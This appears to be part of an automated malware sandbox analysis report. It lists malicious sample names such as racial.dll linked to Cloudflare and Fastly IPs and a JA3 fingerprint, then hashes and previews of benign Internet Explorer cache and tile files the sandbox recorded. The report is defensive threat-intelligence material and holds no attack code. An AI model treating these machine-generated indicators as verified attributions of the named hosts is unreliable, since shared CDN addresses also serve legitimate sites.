	racial.dll	Get hash	malicious	Browse	35.199.86.111
	racial.dll	Get hash	malicious	Browse	35.199.86.111
	info_71411.vbs	Get hash	malicious	Browse	35.199.86.111
	racial.dll	Get hash	malicious	Browse	35.199.86.111
	racial.dll	Get hash	malicious	Browse	35.199.86.111
	soft.dll	Get hash	malicious	Browse	35.199.86.111
	racial.dll	Get hash	malicious	Browse	35.199.86.111
	racial.dll	Get hash	malicious	Browse	35.199.86.111
	Know.dll	Get hash	malicious	Browse	35.199.86.111

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.185.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.185.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.185.68
	racial.dll	Get hash	malicious	Browse	104.20.185.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	racial.dll	Get hash	malicious	Browse	104.20.184.68
	shook.dll	Get hash	malicious	Browse	104.20.184.68
	Rendi i ri eshte i bashkangjitur.exe	Get hash	malicious	Browse	162.159.130.233
	Purchase Order.xlsx	Get hash	malicious	Browse	172.67.181.37
	Cos5eApp13.exe	Get hash	malicious	Browse	104.21.19.200
	Rendi i ri eshte i bashkangjitur.exe	Get hash	malicious	Browse	162.159.130.233
	RFL_058_13_72_06.exe	Get hash	malicious	Browse	172.67.188.154
FASTLYUS	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	LQrGhleECP.exe	Get hash	malicious	Browse	151.101.1.211
	7Ek6COhMtO.dll	Get hash	malicious	Browse	151.101.1.44
	#Ud83d#Udcde_Message_Received_05_19_21.htm.htm	Get hash	malicious	Browse	151.101.1.192
	Re #U0417#U0430#U043a#U0430#U0437.html	Get hash	malicious	Browse	151.101.112.193
	SyoFYHpnWB.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	shook.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44
	racial.dll	Get hash	malicious	Browse	151.101.1.44

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
9e10692f1b7f78228b2d4e424db3a98c	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	racial.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	shook.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	7Ek6COhMtO.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	wl7cvArgks.dll	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	Donation Receipt 36561536.doc	Get hash	malicious	Browse	104.20.184.68 151.101.1.44
	Re #U0417#U0430#U043a#U0430#U0437.html	Get hash	malicious	Browse	104.20.184.68 151.101.1.44

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\IUHEMSR9\contextual.media[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1849
Entropy (8bit):	4.902770988781033
Encrypted:	false
SSDEEP:	48:LiOiOiOiOtOtOtDOtOg9OgOg9OgO6O6O6O6wM+1b:+ZZZSSSDSb9bb9bhhhhwM+1b
MD5:	DCA66A80E19E084540BC3840647331AB
SHA1:	A80249A533034CFAD68B56858CB9C44A9364477E
SHA-256:	4CFF189BC3E7D69861186E83C04F83173696D9D17141C07E33D1B12CB78ADCD9
SHA-512:	45A547EBDCA340E9BB63230D1A564FE4F681264B94BC6A393981F4FB365A07BDF8FF9EC744CEB6EFDFB86E4D9880EA0911D0F5F2602DC69E3629AEE67D315524
Malicious:	false
Reputation:	low
Preview:	<root></root><root><item name="HBCM_BIDS" value="{}" ltime="1561614320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1561614320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1561614320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1561614320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1562094320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1562094320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1562094320" htime="30890205" /><item name="mntest" value="mntest" ltime="1565614320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1562094320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1569094320" htime="30890205" /><item name="mntest" value="mntest" ltime="1569094320" htime="30890205" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1569094320" htime="30890205"

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\T8DRMTJ1\www.msn[2].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
Malicious:	false
Reputation:	high, very likely benign file
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{945187EB-C4D0-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	38488
Entropy (8bit):	1.9098981818755312
Encrypted:	false
SSDEEP:	192:rkZbZ02NWItnffaCtgR4szWxUDSsfs47jrv47f74QzrlBWg:rUNjEsffBgM4BBmj9
MD5:	2829B0A4D68F49A0253953929CF4AB13
SHA1:	C58EC6503B5F4401B6CC9A6D06738B4BF325AC4E
SHA-256:	E486B708B65CD75A839A192829F5B4C1445767BE761AE072FF623BA4C427B633
SHA-512:	A16830FA759990EEA09D2AE924942C01DCB0222736FA5EAABFC56275184573D8FAF40134EF1EAC4EAA7E542BDC30C582D7013C0BD490CF8A61BF8158BF85A7E5
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	365708
Entropy (8bit):	3.624574713936156
Encrypted:	false
SSDEEP:	3072:M/AGMZ/2Bfcdmu5kgTzGtgZ/2Bfc+mu5kgTzGtMZ/2Bfcdmu5kgTzGthZ/2Bfc+u:M/AGlTKGy
MD5:	09190F5E71C651F6D0857028D2E864BE
SHA1:	7F1EA05D2AF81190701B3A2398F506F7EBF4A653
SHA-256:	0111D3BB78D932C92555F6496F8B178A474A411B08C686B1575B2750CC414D05
SHA-512:	D3507763F7687F5D2A05DF7DB844D36F1CC5EB604641FFFD4FC5475BD6CF8BF845038426902D57CAF000CA3744E08A39389AC7FA837E1927898CCA029F647FD9
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{9D77A80C-C4D0-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	19032
Entropy (8bit):	1.584938713031262
Encrypted:	false
SSDEEP:	48:IwtGcprQGwpaVG4pQDhGrapbSnGQpKOHUG7HpROH7TGIpX2qGApm:rzZ4QH6DxBSRACTYFNg
MD5:	A5A9FA017542DAC0E5EC62D51D678172
SHA1:	465899AB2C48F03DC6F5E8D22D0A6B9F548522C2
SHA-256:	933C36E5A4C03A213541FB2BAF9DC4E2FCB47D774B759BEFE795728CE08F3DB8
SHA-512:	C0298E145A1E15874DE8AB092B9D35DB30653F0A12582F2F39D6AEF7A04D8CF1E05EC4090F1ACE2C5F82CA6A52BB8DF5E5BC40263521F162F87FC6A5B0511BF2
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	660
Entropy (8bit):	5.083820697527226
Encrypted:	false
SSDEEP:	12:TMHdNMNxOETdLdDnWimI002EtM3MHdNMNxOETdLdDnWimI00OYVbkEtMb:2d6NxO2dLdDSZHKd6NxO2dLdDSZ7xb
MD5:	551F7D720FC7E660D6D17A558CC0B9AB
SHA1:	A345929D1E6D3DCD21A23C33527BE48C31EA62DF
SHA-256:	2E76D75FFC41FAF04AE72A7E4DAC512ACB15FD153BDF8DE94EED23C19B2F897D
SHA-512:	079D52354F47EAC2BB8543889DA68A72033DE3036E7D2FE8A73FAEFCA692ED66D7A7716328D67998C08E709040523BB2A08E0F1079CD1F049F5BC64F3E9AD715
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	657
Entropy (8bit):	5.112922808777698
Encrypted:	false
SSDEEP:	12:TMHdNMNxe2kTdLdDnWimI002EtM3MHdNMNxe2kTdLdDnWimI00OYkak6EtMb:2d6NxrWdLdDSZHKd6NxrWdLdDSZ7Ja7b
MD5:	EABE4982060A31481CA7E6068EB753F0
SHA1:	601D2EFA28A61425D172CBE445C92F1DCC9C1F13
SHA-256:	B3274FC0AB13F66F7C1CAE5EC42E63FB37825CC9CE5BEA599039A80148250C38
SHA-512:	EBEF9819D4E33F341FBFA3CCFF911CB3EC4E2FCB7E4ECC4E994DA9127EB194670F545A768A7A44C1CA0C112FCACBF1099808FAA89381A509FEBB8333878BDA5D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Amazon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	666
Entropy (8bit):	5.078379494563995
Encrypted:	false
SSDEEP:	12:TMHdNMNxvLpnWimI002EtM3MHdNMNxvLpnWimI00OYmZEtMb:2d6NxvVSZHKd6NxvVSZ7Zb
MD5:	357B07EACB863A2F66CE1F29DBD749EE
SHA1:	84F4EC46109C62C87FBCB81A4785363A92766523
SHA-256:	0703B3E03CB031251716A26AE51CE285427BE754FE280285A33F9FB21D549F64
SHA-512:	57C9A6F9D9848A98BECFD4806C60E1E62396E316B2659F33A08FC320BC5F898FE6A130BEF07A11A215DB0F9C0A4C6660359F5FB03CCAD7998722386314699F0D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x6e3ab7f0,0x01d758dd</date><accdate>0x6e3ab7f0,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x6e3ab7f0,0x01d758dd</date><accdate>0x6e3ab7f0,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipedia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	651
Entropy (8bit):	5.09980009438167
Encrypted:	false
SSDEEP:	12:TMHdNMNxiTdLdDnWimI002EtM3MHdNMNxiTdLdDnWimI00OYd5EtMb:2d6NxodLdDSZHKd6NxodLdDSZ7qjb
MD5:	67C1E87703912BB626A734D3D296FAE2
SHA1:	6438811F471455EC063E289C04B980E6855FF5EE
SHA-256:	D0D60059FE738A7239D9B6DC0FC44D5324C195F65AE55E6D006D22CDCF89F196
SHA-512:	236EF643A4AEE314874CAF2198301D067740B8BF01C87C5662EDD3FA70FE2191A4FE1F6C452A9EFBC7DA7F5CE1CBDD01667A4157BAC270C0E915E86DC32FCDB1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	660
Entropy (8bit):	5.096528745677569
Encrypted:	false
SSDEEP:	12:TMHdNMNxhGwpnWimI002EtM3MHdNMNxhGwpnWimI00OY8K075EtMb:2d6NxQ4SZHKd6NxQ4SZ7RKajb
MD5:	5073C32E92BE728BCC25A7FA93E6B1F7
SHA1:	ABF9E0FA867A015F82D1ECA0729D816495BA11CF
SHA-256:	F90E70F2E3C150E5A30D440CB1E36E667F9F32CF3B3E0CFB7F2D27498DFCC8A5
SHA-512:	60A2DA5AF112C294813C944730A06DC471E805253A50E38323C27F09B760A8C38EB0EF385C975913887567EBF6964B63DBCD175852BB0F27412CA1D5363709BC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x6e3ab7f0,0x01d758dd</date><accdate>0x6e3ab7f0,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x6e3ab7f0,0x01d758dd</date><accdate>0x6e3ab7f0,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	657
Entropy (8bit):	5.081005030046393
Encrypted:	false
SSDEEP:	12:TMHdNMNx0nTdLdDnWimI002EtM3MHdNMNx0nTdLdDnWimI00OYxEtMb:2d6Nx0TdLdDSZHKd6Nx0TdLdDSZ7+b
MD5:	4481F029ECFFCD7C4B6A1D42368B39A1
SHA1:	D7ED08F1C16DEC47EBCCC18EB80218425A092FBD
SHA-256:	C946FCA813D2A8E95EB445097FB3CAC5B79B6D413CA79A35FF3E052CAC0BBDAF
SHA-512:	C2368EB8A6A57FCCCA30086B2687931F09FDEBCF52A7A906A9336A3A40F661E554A142CC07DDA27BE363BF36C94F5124CAFC9934AE3043B43050CB03B65EB6EB
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	660
Entropy (8bit):	5.123918994775565
Encrypted:	false
SSDEEP:	12:TMHdNMNxxTdLdDnWimI002EtM3MHdNMNxxTdLdDnWimI00OY6Kq5EtMb:2d6NxRdLdDSZHKd6NxRdLdDSZ7Xb
MD5:	779EDA3485C83A0E2B914029672333D1
SHA1:	D1D201C9CBDE157FCD7B73C5D8A7EA0EE730263F
SHA-256:	49F399C5E79B9C2C4E9D6AEB4D1030848320ED801A6FE96B7C4F63B680D2EBB0
SHA-512:	1438BC41C7240088A13626E22C17A1E22EA219563A318685F1CE6BB16EB9C1BA5CD7B9726C57D7B84E1A96423AB756532CA07907AB20812D9EC20FC4C5722F4D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.100638308009176
Encrypted:	false
SSDEEP:	12:TMHdNMNxcTdLdDnWimI002EtM3MHdNMNxcTdLdDnWimI00OYVEtMb:2d6NxudLdDSZHKd6NxudLdDSZ7Gb
MD5:	B7EFB7974F12D0998D47F5C5355F106D
SHA1:	356F0AC8E885A57B940C830245951BAF4E2C8A3D
SHA-256:	C6918506E9F64D830B189F7CC3D1FA915B05BAD55AC381FE2DDC01949C9CF7DD
SHA-512:	8ACD4769F579F403F784BD470877AEFC66FF9A2D3C7AAE7B88EC3B4524EEE03935599BD4C58EDB79C8BDC70E3A0913E04A4B9102617FE572F1D90C781406315C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	657
Entropy (8bit):	5.085400973917493
Encrypted:	false
SSDEEP:	12:TMHdNMNxfnTdLdDnWimI002EtM3MHdNMNxfnTdLdDnWimI00OYe5EtMb:2d6NxLdLdDSZHKd6NxLdLdDSZ7Fjb
MD5:	C27CE1ADD945E628B4E39FFA09C1E100
SHA1:	BB9484A145E3F1E5CE163E1A68BCC3E616E24E16
SHA-256:	0F986292E89972D20ACBFD1F0CC77AEF9FCE7F870A411AB189E640F083177EF7
SHA-512:	1240AA809E5ED4E7023461BBAB68B982A5830D04F6B353C843F39AE9F05D8297C9483C5E5E7F01A64456FE4B73C7AC3CEEBB44087083E73F5F6918AF9BEABE30
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x6e3390d9,0x01d758dd</date><accdate>0x6e3390d9,0x01d758dd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\po60zt0\imagestore.dat Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.03567195372079
Encrypted:	false
SSDEEP:	24:u6tWaF/6easyD/iCHLSWWqyCoTTdTc+yhaX4b9upGlA:u6tWu/6symC+PTCq5TcBUX4bLA
MD5:	3E666B693047C619507E8174C5373925
SHA1:	300B4B4133AB028453CC90CA835C41AC70CCE204
SHA-256:	140E2CC1D7AF58823859FCA4FA8C996F51C6003B536373740EB1EF2B661AA516
SHA-512:	705B7626EAFBFB774D42C5E88ED1527FB3AB668739FAD36522B653E1CA2AFDD3B691785621EDFC9324F877F4C1DF33CEA679811F2F2FC9F970C4645C4ECB4566
Malicious:	false
Preview:	E.h.t.t.p.s.:././.s.t.a.t.i.c.-.g.l.o.b.a.l.-.s.-.m.s.n.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.h.p.-.n.e.u./.s.c./.2.b./.a.5.e.a.2.1...i.c.o......PNG........IHDR... ... ............pHYs.................vpAg... ... ........eIDATH...o.@../..MT..KY..P!9^....:UjS..T."P.(R.PZ.KQZ.S. ....,v2.^.....9/t....K..;_ }'.....~..qK..i.;.B..2.`.C...B........<...CB.....).....;..Bx..2.}.. ._>w!..%B..{.d...LCgz..j/.7D..M..............'.HK..j%.!DOf7......C.]._Z.f+..1.I+.;.Mf....L:Vhg..[.. ..O:..1.a....F..S.D...8<n.V.7M.....cY@.......4.D..kn%.e.A.@lA.,>\.Q\|.N.P........<.!....ip...y..U....J...9...R..mgp}vvn.f4$..X.E.1.T...?.....'.wz..U...../[...z..(DB.B(....-........B.=m.3......X...p...Y........w..<.........8...3.;.0....(..I...A..6f.g.xF..7h.Gmq\|....gz_Z...x..0F'..........x..=Y}.,jT..R......72w/...Bh..5..C...2.06`........8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B`. ... ............{.`.....{.`....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\2d-0e97d4-185735b[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	249857
Entropy (8bit):	5.295039902555087
Encrypted:	false
SSDEEP:	3072:jaPMUzTAHEkm8OUdvUvOZkru/rpjp4tQH:ja0UzTAHLOUdv1Zkru/rpjp4tQH
MD5:	B16073A9EC93B3B478EC2D5305BAB0E8
SHA1:	446E73EF46D83EE7BE6AFC3F7707D409DFE3FFF3
SHA-256:	6561EBD5D1938217C45AD793DA4DCF4772B5B6E339C2B4A1086AB273EBB0865A
SHA-512:	19B2F38AF4AD3DB28F1823D94928DEABEF5FC5D1B61EF7E4DAE5E242ADB7403C0BE7F30BFAF07A259DB31C35ED9A9A043928FB3655F47D9C063B38E5C3FD9CEF
Malicious:	false
Preview:	@charset "UTF-8";div.adcontainer iframe[width='1']{display:none}span.nativead{font-weight:600;font-size:1.1rem;line-height:1.364}div:not(.ip) span.nativead{color:#333}.todaymodule .smalla span.nativead,.todaystripe .smalla span.nativead{bottom:2rem;display:block;position:absolute}.todaymodule .smalla a.nativead .title,.todaystripe .smalla a.nativead .title{max-height:4.7rem}.todaymodule .smalla a.nativead .caption,.todaystripe .smalla a.nativead .caption{padding:0;position:relative;margin-left:11.2rem}.todaymodule .mediuma span.nativead,.todaystripe .mediuma span.nativead{bottom:1.3rem}.ip a.nativead span:not(.title):not(.adslabel),.mip a.nativead span:not(.title):not(.adslabel){display:block;vertical-align:top;color:#a0a0a0}.ip a.nativead .caption span.nativead,.mip a.nativead .caption span.nativead{display:block;margin:.9rem 0 .1rem}.ip a.nativead .caption span.sourcename,.mip a.nativead .caption span.sourcename{margin:.5rem 0 .1rem;max-width:100%}.todaymodule.mediuminfopanehero .ip_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\52-478955-68ddb2ab[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	396481
Entropy (8bit):	5.3246692794239046
Encrypted:	false
SSDEEP:	6144:DlY9z/aSg/jgyYdw4467hmnidlWPqIjHSjaeCraTgxO0Dvq4FcG6IuNK:eJ/hcnidlWPqIjHdfactHcGBt
MD5:	B5BFFE45CF81B5A81F74C425DCF30B52
SHA1:	683FDC1C77B30D56A2DD7D32FAD51DB1093C9260
SHA-256:	E5C9B77B4CAFB53C72F500B09FB1DAB209AF5D9D914A72F2F5C7A1A128749579
SHA-512:	5CC23F5CD661A1D80E7989E79AD5355A5685B52C9B5081CA3FC6721E0C378B429D84C2698D06EBA987ABD0764AFEAF0D0CF2A74D67C7CBB23B4C80359F64E9AD
Malicious:	false
